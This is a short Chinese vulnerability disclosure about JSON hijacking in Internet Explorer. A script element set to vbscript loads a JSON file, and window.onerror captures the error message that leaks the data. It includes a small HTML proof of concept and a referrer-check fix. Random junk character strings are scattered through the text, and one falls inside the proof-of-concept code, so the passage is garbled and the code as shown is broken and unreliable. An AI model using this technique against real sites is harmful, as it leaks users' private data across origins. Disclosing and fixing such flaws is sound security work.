IE通用JSON劫持漏洞

admin

简要描述：
6 {: P) B6 o7 B+ u- F3 m* O0 U* `6 K
4 P/ S+ J9 U1 u$ G0 J由于某些资源容器对数据处理不当导致json劫持漏洞.
" @0 ~- o+ T1 r& E% I详细说明：
& g. k" t' V/ e6 e* f8 D) v由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>
4 ]1 T6 T( Z9 D6 ]7 l
/ H* F  I0 v5 d. I6 ]当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
<script>
window.onerror=function(_){
$ J+ f2 l6 I* ralert(_)
% U4 ^$ O4 Y3 W+ w}
% W% J7 c& n+ c0 \6 q! F2 z% l* J8 D</script>
<script language=vbscript src=1.json></script>
6 P# D4 S6 D2 e
, j- s+ Y4 Q; o6 C
1.json:
[{"name":"sogili","age":19}]
  A0 v) G" ]; w修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御